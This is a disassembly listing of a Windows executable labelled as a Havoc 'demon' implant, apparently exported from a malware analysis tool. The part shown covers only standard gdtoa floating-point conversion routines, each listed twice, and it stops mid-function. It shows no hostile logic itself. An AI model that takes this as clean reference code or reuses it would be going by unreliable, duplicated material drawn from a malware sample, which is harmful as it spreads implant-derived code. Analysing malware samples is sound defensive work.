File havoc_demon_9b6047883014e32c66300962e067762ee768a7a3f981ca51b1ce60ae7452421b.exe
Function:
Loading..
140006c20
140006c20__pow5mult_D2A:
140006c20push rbp
140006c21push rdi
140006c22push rsi
140006c23push rbx
140006c24sub rsp, 40
140006c28mov eax, edx
140006c2amov rsi, rcx
140006c2dmov ebx, edx
140006c2fand eax, 3
140006c32jne 0x140006cf0
140006c38
140006c38loc_140006c38:
140006c38sar ebx, 2
140006c3bmov rbp, rsi
140006c3eje 0x140006c92
140006c40mov rdi, [rip+0x294f9]
140006c47test rdi, rdi
140006c4aje 0x140006d20
140006c50
140006c50loc_140006c50:
140006c50mov rbp, rsi
140006c53jmp 0x140006c67
140006c55
140006c55 0f 1f 00 ...
140006c58
140006c58loc_140006c58:
140006c58sar ebx, 1
140006c5aje 0x140006c92
140006c5c
140006c5cloc_140006c5c:
140006c5cmov rsi, [rdi]
140006c5ftest rsi, rsi
140006c62je 0x140006ca0
140006c64
140006c64loc_140006c64:
140006c64mov rdi, rsi
140006c67
140006c67loc_140006c67:
140006c67test bl, 1
140006c6aje 0x140006c58
140006c6cmov rdx, rdi
140006c6fmov rcx, rbp
140006c72call __mult_D2A
140006c77mov rsi, rax
140006c7atest rax, rax
140006c7dje 0x140006d13
140006c83mov rcx, rbp
140006c86mov rbp, rsi
140006c89call __Bfree_D2A
140006c8esar ebx, 1
140006c90jne 0x140006c5c
140006c92
140006c92loc_140006c92:
140006c92mov rax, rbp
140006c95add rsp, 40
140006c99pop rbx
140006c9apop rsi
140006c9bpop rdi
140006c9cpop rbp
140006c9dret
140006c9e
140006c9e 66 90 f.
140006ca0
140006ca0loc_140006ca0:
140006ca0mov ecx, 1
140006ca5call dtoa_lock
140006caamov rsi, [rdi]
140006cadtest rsi, rsi
140006cb0je 0x140006cd0
140006cb2
140006cb2loc_140006cb2:
140006cb2cmp [rip+0x29df7], 2
140006cb9jne 0x140006c64
140006cbblea rcx, [rip+0x29e26]
140006cc2call [rip+0x2a548]
140006cc8jmp 0x140006c64
140006cca
140006cca 66 0f 1f 44 00 00 f..D..
140006cd0
140006cd0loc_140006cd0:
140006cd0mov rdx, rdi
140006cd3mov rcx, rdi
140006cd6call __mult_D2A
140006cdbmov [rdi], rax
140006cdemov rsi, rax
140006ce1test rax, rax
140006ce4je 0x140006d13
140006ce6mov [rax], 0
140006cedjmp 0x140006cb2
140006cef
140006cef 90 .
140006cf0
140006cf0loc_140006cf0:
140006cf0sub eax, 1
140006cf3lea rdx, [rip+0x25506]
140006cfaxor r8l, r8l
140006cfdcdqe
140006cffmov edx, [rdx+4*rax]
140006d02call __multadd_D2A
140006d07mov rsi, rax
140006d0atest rax, rax
140006d0djne 0x140006c38
140006d13
140006d13loc_140006d13:
140006d13xor ebp, ebp
140006d15jmp 0x140006c92
140006d1a
140006d1a 66 0f 1f 44 00 00 f..D..
140006d20
140006d20loc_140006d20:
140006d20mov ecx, 1
140006d25call dtoa_lock
140006d2amov rdi, [rip+0x2940f]
140006d31test rdi, rdi
140006d34je 0x140006d55
140006d36
140006d36loc_140006d36:
140006d36cmp [rip+0x29d73], 2
140006d3djne 0x140006c50
140006d43lea rcx, [rip+0x29d9e]
140006d4acall [rip+0x2a4c0]
140006d50jmp 0x140006c50
140006d55
140006d55loc_140006d55:
140006d55mov ecx, 1
140006d5acall __Balloc_D2A
140006d5fmov rdi, rax
140006d62test rax, rax
140006d65je 0x140006d85
140006d67mov rax, 0x27100000001
140006d71mov [rip+0x293c8], rdi
140006d78mov [rdi+20], rax
140006d7cmov [rdi], 0
140006d83jmp 0x140006d36
140006d85
140006d85loc_140006d85:
140006d85mov [rip+0x293b0], 0
140006d90xor ebp, ebp
140006d92jmp 0x140006c92
140006c20
140006c20__pow5mult_D2A:
140006c20push rbp
140006c21push rdi
140006c22push rsi
140006c23push rbx
140006c24sub rsp, 40
140006c28mov eax, edx
140006c2amov rsi, rcx
140006c2dmov ebx, edx
140006c2fand eax, 3
140006c32jne 0x140006cf0
140006c38
140006c38loc_140006c38:
140006c38sar ebx, 2
140006c3bmov rbp, rsi
140006c3eje 0x140006c92
140006c40mov rdi, [rip+0x294f9]
140006c47test rdi, rdi
140006c4aje 0x140006d20
140006c50
140006c50loc_140006c50:
140006c50mov rbp, rsi
140006c53jmp 0x140006c67
140006c55
140006c55 0f 1f 00 ...
140006c58
140006c58loc_140006c58:
140006c58sar ebx, 1
140006c5aje 0x140006c92
140006c5c
140006c5cloc_140006c5c:
140006c5cmov rsi, [rdi]
140006c5ftest rsi, rsi
140006c62je 0x140006ca0
140006c64
140006c64loc_140006c64:
140006c64mov rdi, rsi
140006c67
140006c67loc_140006c67:
140006c67test bl, 1
140006c6aje 0x140006c58
140006c6cmov rdx, rdi
140006c6fmov rcx, rbp
140006c72call __mult_D2A
140006c77mov rsi, rax
140006c7atest rax, rax
140006c7dje 0x140006d13
140006c83mov rcx, rbp
140006c86mov rbp, rsi
140006c89call __Bfree_D2A
140006c8esar ebx, 1
140006c90jne 0x140006c5c
140006c92
140006c92loc_140006c92:
140006c92mov rax, rbp
140006c95add rsp, 40
140006c99pop rbx
140006c9apop rsi
140006c9bpop rdi
140006c9cpop rbp
140006c9dret
140006c9e
140006c9e 66 90 f.
140006ca0
140006ca0loc_140006ca0:
140006ca0mov ecx, 1
140006ca5call dtoa_lock
140006caamov rsi, [rdi]
140006cadtest rsi, rsi
140006cb0je 0x140006cd0
140006cb2
140006cb2loc_140006cb2:
140006cb2cmp [rip+0x29df7], 2
140006cb9jne 0x140006c64
140006cbblea rcx, [rip+0x29e26]
140006cc2call [rip+0x2a548]
140006cc8jmp 0x140006c64
140006cca
140006cca 66 0f 1f 44 00 00 f..D..
140006cd0
140006cd0loc_140006cd0:
140006cd0mov rdx, rdi
140006cd3mov rcx, rdi
140006cd6call __mult_D2A
140006cdbmov [rdi], rax
140006cdemov rsi, rax
140006ce1test rax, rax
140006ce4je 0x140006d13
140006ce6mov [rax], 0
140006cedjmp 0x140006cb2
140006cef
140006cef 90 .
140006cf0
140006cf0loc_140006cf0:
140006cf0sub eax, 1
140006cf3lea rdx, [rip+0x25506]
140006cfaxor r8l, r8l
140006cfdcdqe
140006cffmov edx, [rdx+4*rax]
140006d02call __multadd_D2A
140006d07mov rsi, rax
140006d0atest rax, rax
140006d0djne 0x140006c38
140006d13
140006d13loc_140006d13:
140006d13xor ebp, ebp
140006d15jmp 0x140006c92
140006d1a
140006d1a 66 0f 1f 44 00 00 f..D..
140006d20
140006d20loc_140006d20:
140006d20mov ecx, 1
140006d25call dtoa_lock
140006d2amov rdi, [rip+0x2940f]
140006d31test rdi, rdi
140006d34je 0x140006d55
140006d36
140006d36loc_140006d36:
140006d36cmp [rip+0x29d73], 2
140006d3djne 0x140006c50
140006d43lea rcx, [rip+0x29d9e]
140006d4acall [rip+0x2a4c0]
140006d50jmp 0x140006c50
140006d55
140006d55loc_140006d55:
140006d55mov ecx, 1
140006d5acall __Balloc_D2A
140006d5fmov rdi, rax
140006d62test rax, rax
140006d65je 0x140006d85
140006d67mov rax, 0x27100000001
140006d71mov [rip+0x293c8], rdi
140006d78mov [rdi+20], rax
140006d7cmov [rdi], 0
140006d83jmp 0x140006d36
140006d85
140006d85loc_140006d85:
140006d85mov [rip+0x293b0], 0
140006d90xor ebp, ebp
140006d92jmp 0x140006c92
140006c20
140006d97
140006d97 // align 0x10
140006d97 // align 0x10
140006da0
140006da0__lshift_D2A:
140006da0push r14
140006da2push r13
140006da4push r12
140006da6push rbp
140006da7push rdi
140006da8push rsi
140006da9push rbx
140006daasub rsp, 32
140006daemov r12, rcx
140006db1mov esi, edx
140006db3mov ecx, [rcx+8]
140006db6mov ebp, edx
140006db8mov ebx, [r12+20]
140006dbdsar esi, 5
140006dc0mov eax, [r12+12]
140006dc5add ebx, esi
140006dc7lea r13l, [rbx+1]
140006dcbcmp r13l, eax
140006dcejle 0x140006dda
140006dd0
140006dd0loc_140006dd0:
140006dd0add eax, eax
140006dd2add ecx, 1
140006dd5cmp r13l, eax
140006dd8jg 0x140006dd0
140006dda
140006ddaloc_140006dda:
140006ddacall __Balloc_D2A
140006ddfmov r14, rax
140006de2test rax, rax
140006de5je 0x140006e8e
140006deblea rdi, [rax+24]
140006deftest esi, esi
140006df1jle 0x140006e07
140006df3shl rsi, 2
140006df7mov rcx, rdi
140006dfaxor edx, edx
140006dfcmov r8, rsi
140006dffadd rdi, rsi
140006e02call memset
140006e07
140006e07loc_140006e07:
140006e07movsxd rax, [r12+20]
140006e0clea rsi, [r12+24]
140006e11lea r9, [rsi+4*rax]
140006e15and ebp, 31
140006e18je 0x140006ea0
140006e1emov r10l, 32
140006e24mov r8, rdi
140006e27xor edx, edx
140006e29sub r10l, ebp
140006e2cnop [rax]
140006e30
140006e30loc_140006e30:
140006e30mov eax, [rsi]
140006e32mov ecx, ebp
140006e34add r8, 4
140006e38add rsi, 4
140006e3cshl eax, cl
140006e3emov ecx, r10l
140006e41or eax, edx
140006e43mov [r8-4], eax
140006e47mov edx, [rsi-4]
140006e4ashr edx, cl
140006e4ccmp rsi, r9
140006e4fjb 0x140006e30
140006e51mov rax, r9
140006e54lea rcx, [r12+25]
140006e59sub rax, r12
140006e5csub rax, 25
140006e60shr rax, 2
140006e64cmp r9, rcx
140006e67mov ecx, 4
140006e6clea rax, [4*rax+4]
140006e74cmovb rax, rcx
140006e78mov [rdi+rax], edx
140006e7btest edx, edx
140006e7djne 0x140006e82
140006e7f
140006e7floc_140006e7f:
140006e7fmov r13l, ebx
140006e82
140006e82loc_140006e82:
140006e82mov [r14+20], r13l
140006e86mov rcx, r12
140006e89call __Bfree_D2A
140006e8e
140006e8eloc_140006e8e:
140006e8emov rax, r14
140006e91add rsp, 32
140006e95pop rbx
140006e96pop rsi
140006e97pop rdi
140006e98pop rbp
140006e99pop r12
140006e9bpop r13
140006e9dpop r14
140006e9fret
140006ea0
140006ea0loc_140006ea0:
140006ea0movsd [rdi], [rsi]
140006ea1cmp rsi, r9
140006ea4jae 0x140006e7f
140006ea6movsd [rdi], [rsi]
140006ea7cmp rsi, r9
140006eaajb 0x140006ea0
140006eacjmp 0x140006e7f
140006da0
140006da0__lshift_D2A:
140006da0push r14
140006da2push r13
140006da4push r12
140006da6push rbp
140006da7push rdi
140006da8push rsi
140006da9push rbx
140006daasub rsp, 32
140006daemov r12, rcx
140006db1mov esi, edx
140006db3mov ecx, [rcx+8]
140006db6mov ebp, edx
140006db8mov ebx, [r12+20]
140006dbdsar esi, 5
140006dc0mov eax, [r12+12]
140006dc5add ebx, esi
140006dc7lea r13l, [rbx+1]
140006dcbcmp r13l, eax
140006dcejle 0x140006dda
140006dd0
140006dd0loc_140006dd0:
140006dd0add eax, eax
140006dd2add ecx, 1
140006dd5cmp r13l, eax
140006dd8jg 0x140006dd0
140006dda
140006ddaloc_140006dda:
140006ddacall __Balloc_D2A
140006ddfmov r14, rax
140006de2test rax, rax
140006de5je 0x140006e8e
140006deblea rdi, [rax+24]
140006deftest esi, esi
140006df1jle 0x140006e07
140006df3shl rsi, 2
140006df7mov rcx, rdi
140006dfaxor edx, edx
140006dfcmov r8, rsi
140006dffadd rdi, rsi
140006e02call memset
140006e07
140006e07loc_140006e07:
140006e07movsxd rax, [r12+20]
140006e0clea rsi, [r12+24]
140006e11lea r9, [rsi+4*rax]
140006e15and ebp, 31
140006e18je 0x140006ea0
140006e1emov r10l, 32
140006e24mov r8, rdi
140006e27xor edx, edx
140006e29sub r10l, ebp
140006e2cnop [rax]
140006e30
140006e30loc_140006e30:
140006e30mov eax, [rsi]
140006e32mov ecx, ebp
140006e34add r8, 4
140006e38add rsi, 4
140006e3cshl eax, cl
140006e3emov ecx, r10l
140006e41or eax, edx
140006e43mov [r8-4], eax
140006e47mov edx, [rsi-4]
140006e4ashr edx, cl
140006e4ccmp rsi, r9
140006e4fjb 0x140006e30
140006e51mov rax, r9
140006e54lea rcx, [r12+25]
140006e59sub rax, r12
140006e5csub rax, 25
140006e60shr rax, 2
140006e64cmp r9, rcx
140006e67mov ecx, 4
140006e6clea rax, [4*rax+4]
140006e74cmovb rax, rcx
140006e78mov [rdi+rax], edx
140006e7btest edx, edx
140006e7djne 0x140006e82
140006e7f
140006e7floc_140006e7f:
140006e7fmov r13l, ebx
140006e82
140006e82loc_140006e82:
140006e82mov [r14+20], r13l
140006e86mov rcx, r12
140006e89call __Bfree_D2A
140006e8e
140006e8eloc_140006e8e:
140006e8emov rax, r14
140006e91add rsp, 32
140006e95pop rbx
140006e96pop rsi
140006e97pop rdi
140006e98pop rbp
140006e99pop r12
140006e9bpop r13
140006e9dpop r14
140006e9fret
140006ea0
140006ea0loc_140006ea0:
140006ea0movsd [rdi], [rsi]
140006ea1cmp rsi, r9
140006ea4jae 0x140006e7f
140006ea6movsd [rdi], [rsi]
140006ea7cmp rsi, r9
140006eaajb 0x140006ea0
140006eacjmp 0x140006e7f
140006da0
140006eae
140006eae // align 0x10
140006eae // align 0x10
140006eb0
140006eb0__cmp_D2A:
140006eb0movsxd rax, [rdx+20]
140006eb4mov r9l, [rcx+20]
140006eb8sub r9l, eax
140006ebbjne 0x140006ef4
140006ebdlea r8, [4*rax]
140006ec5add rcx, 24
140006ec9lea rax, [rcx+r8]
140006ecdlea rdx, [rdx+r8+24]
140006ed2jmp 0x140006edd
140006ed4
140006ed4 0f 1f 40 00 ..@.
140006ed8
140006ed8loc_140006ed8:
140006ed8cmp rcx, rax
140006edbjae 0x140006ef4
140006edd
140006eddloc_140006edd:
140006eddsub rax, 4
140006ee1sub rdx, 4
140006ee5mov r10l, [rdx]
140006ee8cmp [rax], r10l
140006eebje 0x140006ed8
140006eedsbb r9l, r9l
140006ef0or r9l, 1
140006ef4
140006ef4loc_140006ef4:
140006ef4mov eax, r9l
140006ef7ret
140006eb0
140006eb0__cmp_D2A:
140006eb0movsxd rax, [rdx+20]
140006eb4mov r9l, [rcx+20]
140006eb8sub r9l, eax
140006ebbjne 0x140006ef4
140006ebdlea r8, [4*rax]
140006ec5add rcx, 24
140006ec9lea rax, [rcx+r8]
140006ecdlea rdx, [rdx+r8+24]
140006ed2jmp 0x140006edd
140006ed4
140006ed4 0f 1f 40 00 ..@.
140006ed8
140006ed8loc_140006ed8:
140006ed8cmp rcx, rax
140006edbjae 0x140006ef4
140006edd
140006eddloc_140006edd:
140006eddsub rax, 4
140006ee1sub rdx, 4
140006ee5mov r10l, [rdx]
140006ee8cmp [rax], r10l
140006eebje 0x140006ed8
140006eedsbb r9l, r9l
140006ef0or r9l, 1
140006ef4
140006ef4loc_140006ef4:
140006ef4mov eax, r9l
140006ef7ret
140006eb0
140006ef8
140006ef8 // align 0x10
140006ef8 // align 0x10
140006f00
140006f00__diff_D2A:
140006f00push r14
140006f02push r13
140006f04push r12
140006f06push rbp
140006f07push rdi
140006f08push rsi
140006f09push rbx
140006f0asub rsp, 32
140006f0emovsxd rax, [rdx+20]
140006f12mov edi, [rcx+20]
140006f15mov rsi, rcx
140006f18mov rbx, rdx
140006f1bsub edi, eax
140006f1djne 0x140007078
140006f23lea rdx, [4*rax]
140006f2blea rcx, [rcx+24]
140006f2flea rax, [rcx+rdx]
140006f33lea rdx, [rbx+rdx+24]
140006f38jmp 0x140006f49
140006f3a
140006f3a 66 0f 1f 44 00 00 f..D..
140006f40
140006f40loc_140006f40:
140006f40cmp rcx, rax
140006f43jae 0x1400070a0
140006f49
140006f49loc_140006f49:
140006f49sub rax, 4
140006f4dsub rdx, 4
140006f51mov r14l, [rdx]
140006f54cmp [rax], r14l
140006f57je 0x140006f40
140006f59jb 0x140007083
140006f5fnop
140006f60
140006f60loc_140006f60:
140006f60mov ecx, [rsi+8]
140006f63call __Balloc_D2A
140006f68mov r9, rax
140006f6btest rax, rax
140006f6eje 0x140007063
140006f74mov [rax+16], edi
140006f77movsxd rax, [rsi+20]
140006f7blea r13, [rsi+24]
140006f7flea r12, [r9+24]
140006f83mov ecx, 24
140006f88xor edx, edx
140006f8amov r10, rax
140006f8dlea rdi, [r13+4*rax]
140006f92movsxd rax, [rbx+20]
140006f96lea rbp, [rbx+4*rax+24]
140006f9bnop [rax+rax]
140006fa0
140006fa0loc_140006fa0:
140006fa0mov eax, [rsi+rcx]
140006fa3mov r8l, [rbx+rcx]
140006fa7sub rax, r8
140006faasub rax, rdx
140006fadmov [r9+rcx], eax
140006fb1mov rdx, rax
140006fb4add rcx, 4
140006fb8mov r11l, eax
140006fbbshr rdx, 32
140006fbflea rax, [rcx+rbx]
140006fc3and edx, 1
140006fc6cmp rax, rbp
140006fc9jb 0x140006fa0
140006fcbmov rax, rbp
140006fcelea rsi, [rbx+25]
140006fd2mov ecx, 4
140006fd7sub rax, rbx
140006fdalea r14, [rax-25]
140006fdeshr r14, 2
140006fe2cmp rbp, rsi
140006fe5lea rax, [4*r14+4]
140006fedcmovb rax, rcx
140006ff1add r13, rax
140006ff4lea r8, [r12+rax]
140006ff8mov rbx, r8
140006ffbmov rcx, r13
140006ffecmp r13, rdi
140007001jae 0x1400070c0
140007007nop [rax+rax]
140007010
140007010loc_140007010:
140007010mov eax, [rcx]
140007012add rcx, 4
140007016add rbx, 4
14000701asub rax, rdx
14000701dmov rdx, rax
140007020mov [rbx-4], eax
140007023mov r11l, eax
140007026shr rdx, 32
14000702aand edx, 1
14000702dcmp rcx, rdi
140007030jb 0x140007010
140007032sub rdi, 1
140007036sub rdi, r13
140007039and rdi, -4
14000703dlea rax, [r8+rdi]
140007041
140007041loc_140007041:
140007041test r11l, r11l
140007044jne 0x14000705f
140007046nop [rax+rax]
140007050
140007050loc_140007050:
140007050mov edx, [rax-4]
140007053sub rax, 4
140007057sub r10l, 1
14000705btest edx, edx
14000705dje 0x140007050
14000705f
14000705floc_14000705f:
14000705fmov [r9+20], r10l
140007063
140007063loc_140007063:
140007063mov rax, r9
140007066add rsp, 32
14000706apop rbx
14000706bpop rsi
14000706cpop rdi
14000706dpop rbp
14000706epop r12
140007070pop r13
140007072pop r14
140007074ret
140007075
140007075 0f 1f 00 ...
140007078
140007078loc_140007078:
140007078mov edi, 0
14000707djns 0x140006f60
140007083
140007083loc_140007083:
140007083mov rax, rsi
140007086mov edi, 1
14000708bmov rsi, rbx
14000708emov rbx, rax
140007091jmp 0x140006f60
140007096
140007096 66 2e 0f 1f 84 00 00 00 00 00 f.........
1400070a0
1400070a0loc_1400070a0:
1400070a0xor ecx, ecx
1400070a2call __Balloc_D2A
1400070a7mov r9, rax
1400070aatest rax, rax
1400070adje 0x140007063
1400070afmov [rax+20], 1
1400070b7jmp 0x140007063
1400070b9
1400070b9 0f 1f 80 00 00 00 00 .......
1400070c0
1400070c0loc_1400070c0:
1400070c0xor eax, eax
1400070c2shl r14, 2
1400070c6cmp rbp, rsi
1400070c9cmovb r14, rax
1400070cdlea rax, [r12+r14]
1400070d1jmp 0x140007041
140006f00
140006f00__diff_D2A:
140006f00push r14
140006f02push r13
140006f04push r12
140006f06push rbp
140006f07push rdi
140006f08push rsi
140006f09push rbx
140006f0asub rsp, 32
140006f0emovsxd rax, [rdx+20]
140006f12mov edi, [rcx+20]
140006f15mov rsi, rcx
140006f18mov rbx, rdx
140006f1bsub edi, eax
140006f1djne 0x140007078
140006f23lea rdx, [4*rax]
140006f2blea rcx, [rcx+24]
140006f2flea rax, [rcx+rdx]
140006f33lea rdx, [rbx+rdx+24]
140006f38jmp 0x140006f49
140006f3a
140006f3a 66 0f 1f 44 00 00 f..D..
140006f40
140006f40loc_140006f40:
140006f40cmp rcx, rax
140006f43jae 0x1400070a0
140006f49
140006f49loc_140006f49:
140006f49sub rax, 4
140006f4dsub rdx, 4
140006f51mov r14l, [rdx]
140006f54cmp [rax], r14l
140006f57je 0x140006f40
140006f59jb 0x140007083
140006f5fnop
140006f60
140006f60loc_140006f60:
140006f60mov ecx, [rsi+8]
140006f63call __Balloc_D2A
140006f68mov r9, rax
140006f6btest rax, rax
140006f6eje 0x140007063
140006f74mov [rax+16], edi
140006f77movsxd rax, [rsi+20]
140006f7blea r13, [rsi+24]
140006f7flea r12, [r9+24]
140006f83mov ecx, 24
140006f88xor edx, edx
140006f8amov r10, rax
140006f8dlea rdi, [r13+4*rax]
140006f92movsxd rax, [rbx+20]
140006f96lea rbp, [rbx+4*rax+24]
140006f9bnop [rax+rax]
140006fa0
140006fa0loc_140006fa0:
140006fa0mov eax, [rsi+rcx]
140006fa3mov r8l, [rbx+rcx]
140006fa7sub rax, r8
140006faasub rax, rdx
140006fadmov [r9+rcx], eax
140006fb1mov rdx, rax
140006fb4add rcx, 4
140006fb8mov r11l, eax
140006fbbshr rdx, 32
140006fbflea rax, [rcx+rbx]
140006fc3and edx, 1
140006fc6cmp rax, rbp
140006fc9jb 0x140006fa0
140006fcbmov rax, rbp
140006fcelea rsi, [rbx+25]
140006fd2mov ecx, 4
140006fd7sub rax, rbx
140006fdalea r14, [rax-25]
140006fdeshr r14, 2
140006fe2cmp rbp, rsi
140006fe5lea rax, [4*r14+4]
140006fedcmovb rax, rcx
140006ff1add r13, rax
140006ff4lea r8, [r12+rax]
140006ff8mov rbx, r8
140006ffbmov rcx, r13
140006ffecmp r13, rdi
140007001jae 0x1400070c0
140007007nop [rax+rax]
140007010
140007010loc_140007010:
140007010mov eax, [rcx]
140007012add rcx, 4
140007016add rbx, 4
14000701asub rax, rdx
14000701dmov rdx, rax
140007020mov [rbx-4], eax
140007023mov r11l, eax
140007026shr rdx, 32
14000702aand edx, 1
14000702dcmp rcx, rdi
140007030jb 0x140007010
140007032sub rdi, 1
140007036sub rdi, r13
140007039and rdi, -4
14000703dlea rax, [r8+rdi]
140007041
140007041loc_140007041:
140007041test r11l, r11l
140007044jne 0x14000705f
140007046nop [rax+rax]
140007050
140007050loc_140007050:
140007050mov edx, [rax-4]
140007053sub rax, 4
140007057sub r10l, 1
14000705btest edx, edx
14000705dje 0x140007050
14000705f
14000705floc_14000705f:
14000705fmov [r9+20], r10l
140007063
140007063loc_140007063:
140007063mov rax, r9
140007066add rsp, 32
14000706apop rbx
14000706bpop rsi
14000706cpop rdi
14000706dpop rbp
14000706epop r12
140007070pop r13
140007072pop r14
140007074ret
140007075
140007075 0f 1f 00 ...
140007078
140007078loc_140007078:
140007078mov edi, 0
14000707djns 0x140006f60
140007083
140007083loc_140007083:
140007083mov rax, rsi
140007086mov edi, 1
14000708bmov rsi, rbx
14000708emov rbx, rax
140007091jmp 0x140006f60
140007096
140007096 66 2e 0f 1f 84 00 00 00 00 00 f.........
1400070a0
1400070a0loc_1400070a0:
1400070a0xor ecx, ecx
1400070a2call __Balloc_D2A
1400070a7mov r9, rax
1400070aatest rax, rax
1400070adje 0x140007063
1400070afmov [rax+20], 1
1400070b7jmp 0x140007063
1400070b9
1400070b9 0f 1f 80 00 00 00 00 .......
1400070c0
1400070c0loc_1400070c0:
1400070c0xor eax, eax
1400070c2shl r14, 2
1400070c6cmp rbp, rsi
1400070c9cmovb r14, rax
1400070cdlea rax, [r12+r14]
1400070d1jmp 0x140007041
140006f00
1400070d6
1400070d6 // align 0x10
1400070d6 // align 0x10
1400070e0
1400070e0__b2d_D2A:
1400070e0push rdi
1400070e1push rsi
1400070e2push rbx
1400070e3movsxd rax, [rcx+20]
1400070e7lea r10, [rcx+24]
1400070eblea rbx, [r10+4*rax]
1400070efmov r11l, [rbx-4]
1400070f3lea rsi, [rbx-4]
1400070f7bsr ecx, r11l
1400070fbmov edi, ecx
1400070fdmov ecx, 32
140007102xor edi, 31
140007105mov r8l, ecx
140007108sub r8l, edi
14000710bmov [rdx], r8l
14000710ecmp edi, 10
140007111jle 0x140007190
140007113lea r9l, [rdi-11]
140007117cmp r10, rsi
14000711ajae 0x140007170
14000711cmov edx, [rbx-8]
14000711ftest r9l, r9l
140007122je 0x140007177
140007124sub ecx, r9l
140007127mov eax, r11l
14000712amov esi, edx
14000712cmov r8l, ecx
14000712fmov ecx, r9l
140007132shl eax, cl
140007134mov ecx, r8l
140007137shr esi, cl
140007139mov ecx, r9l
14000713cor eax, esi
14000713eshl edx, cl
140007140lea rcx, [rbx-8]
140007144or eax, 0x3ff00000
140007149shl rax, 32
14000714dcmp r10, rcx
140007150jae 0x140007183
140007152mov r9l, [rbx-12]
140007156mov ecx, r8l
140007159shr r9l, cl
14000715cor edx, r9l
14000715for rax, rdx
140007162movq x0, rax
140007167pop rbx
140007168pop rsi
140007169pop rdi
14000716aret
14000716b
14000716b 0f 1f 44 00 00 ..D..
140007170
140007170loc_140007170:
140007170xor edx, edx
140007172cmp edi, 11
140007175jne 0x1400071d0
140007177
140007177loc_140007177:
140007177mov eax, r11l
14000717aor eax, 0x3ff00000
14000717fshl rax, 32
140007183
140007183loc_140007183:
140007183or rax, rdx
140007186movq x0, rax
14000718bpop rbx
14000718cpop rsi
14000718dpop rdi
14000718eret
14000718f
14000718f 90 .
140007190
140007190loc_140007190:
140007190mov ecx, 11
140007195mov eax, r11l
140007198xor r8l, r8l
14000719bsub ecx, edi
14000719dshr eax, cl
14000719for eax, 0x3ff00000
1400071a4shl rax, 32
1400071a8cmp r10, rsi
1400071abjae 0x1400071b4
1400071admov r8l, [rbx-8]
1400071b1shr r8l, cl
1400071b4
1400071b4loc_1400071b4:
1400071b4lea ecx, [rdi+21]
1400071b7mov edx, r11l
1400071bashl edx, cl
1400071bcor edx, r8l
1400071bfor rax, rdx
1400071c2movq x0, rax
1400071c7pop rbx
1400071c8pop rsi
1400071c9pop rdi
1400071caret
1400071cb
1400071cb 0f 1f 44 00 00 ..D..
1400071d0
1400071d0loc_1400071d0:
1400071d0mov eax, r11l
1400071d3mov ecx, r9l
1400071d6xor edx, edx
1400071d8shl eax, cl
1400071daor eax, 0x3ff00000
1400071dfshl rax, 32
1400071e3or rax, rdx
1400071e6movq x0, rax
1400071ebpop rbx
1400071ecpop rsi
1400071edpop rdi
1400071eeret
1400070e0
1400070e0__b2d_D2A:
1400070e0push rdi
1400070e1push rsi
1400070e2push rbx
1400070e3movsxd rax, [rcx+20]
1400070e7lea r10, [rcx+24]
1400070eblea rbx, [r10+4*rax]
1400070efmov r11l, [rbx-4]
1400070f3lea rsi, [rbx-4]
1400070f7bsr ecx, r11l
1400070fbmov edi, ecx
1400070fdmov ecx, 32
140007102xor edi, 31
140007105mov r8l, ecx
140007108sub r8l, edi
14000710bmov [rdx], r8l
14000710ecmp edi, 10
140007111jle 0x140007190
140007113lea r9l, [rdi-11]
140007117cmp r10, rsi
14000711ajae 0x140007170
14000711cmov edx, [rbx-8]
14000711ftest r9l, r9l
140007122je 0x140007177
140007124sub ecx, r9l
140007127mov eax, r11l
14000712amov esi, edx
14000712cmov r8l, ecx
14000712fmov ecx, r9l
140007132shl eax, cl
140007134mov ecx, r8l
140007137shr esi, cl
140007139mov ecx, r9l
14000713cor eax, esi
14000713eshl edx, cl
140007140lea rcx, [rbx-8]
140007144or eax, 0x3ff00000
140007149shl rax, 32
14000714dcmp r10, rcx
140007150jae 0x140007183
140007152mov r9l, [rbx-12]
140007156mov ecx, r8l
140007159shr r9l, cl
14000715cor edx, r9l
14000715for rax, rdx
140007162movq x0, rax
140007167pop rbx
140007168pop rsi
140007169pop rdi
14000716aret
14000716b
14000716b 0f 1f 44 00 00 ..D..
140007170
140007170loc_140007170:
140007170xor edx, edx
140007172cmp edi, 11
140007175jne 0x1400071d0
140007177
140007177loc_140007177:
140007177mov eax, r11l
14000717aor eax, 0x3ff00000
14000717fshl rax, 32
140007183
140007183loc_140007183:
140007183or rax, rdx
140007186movq x0, rax
14000718bpop rbx
14000718cpop rsi
14000718dpop rdi
14000718eret
14000718f
14000718f 90 .
140007190
140007190loc_140007190:
140007190mov ecx, 11
140007195mov eax, r11l
140007198xor r8l, r8l
14000719bsub ecx, edi
14000719dshr eax, cl
14000719for eax, 0x3ff00000
1400071a4shl rax, 32
1400071a8cmp r10, rsi
1400071abjae 0x1400071b4
1400071admov r8l, [rbx-8]
1400071b1shr r8l, cl
1400071b4
1400071b4loc_1400071b4:
1400071b4lea ecx, [rdi+21]
1400071b7mov edx, r11l
1400071bashl edx, cl
1400071bcor edx, r8l
1400071bfor rax, rdx
1400071c2movq x0, rax
1400071c7pop rbx
1400071c8pop rsi
1400071c9pop rdi
1400071caret
1400071cb
1400071cb 0f 1f 44 00 00 ..D..
1400071d0
1400071d0loc_1400071d0:
1400071d0mov eax, r11l
1400071d3mov ecx, r9l
1400071d6xor edx, edx
1400071d8shl eax, cl
1400071daor eax, 0x3ff00000
1400071dfshl rax, 32
1400071e3or rax, rdx
1400071e6movq x0, rax
1400071ebpop rbx
1400071ecpop rsi
1400071edpop rdi
1400071eeret
1400070e0
1400071ef
1400071ef // align 0x10
1400071ef // align 0x10
1400071f0
1400071f0__d2b_D2A:
1400071f0push rdi
1400071f1push rsi
1400071f2push rbx
1400071f3sub rsp, 32
1400071f7mov ecx, 1
1400071fcmov rsi, rdx
1400071ffmovq rbx, x0
140007204mov rdi, r8
140007207call __Balloc_D2A
14000720cmov rdx, rax
14000720ftest rax, rax
140007212je 0x1400072a8
140007218mov rcx, rbx
14000721bmov rax, rbx
14000721eshr rcx, 32
140007222mov r9l, ecx
140007225shr ecx, 20
140007228and r9l, 0xfffff
14000722fmov r8l, r9l
140007232or r8l, 0x100000
140007239and ecx, 2047
14000723fcmovne r9l, r8l
140007243mov r10l, ecx
140007246test ebx, ebx
140007248je 0x1400072b8
14000724axor r8l, r8l
14000724dtzcnt r8l, ebx
140007252mov ecx, r8l
140007255shr eax, cl
140007257test r8l, r8l
14000725aje 0x140007271
14000725cmov ecx, 32
140007261mov ebx, r9l
140007264sub ecx, r8l
140007267shl ebx, cl
140007269mov ecx, r8l
14000726cor eax, ebx
14000726eshr r9l, cl
140007271
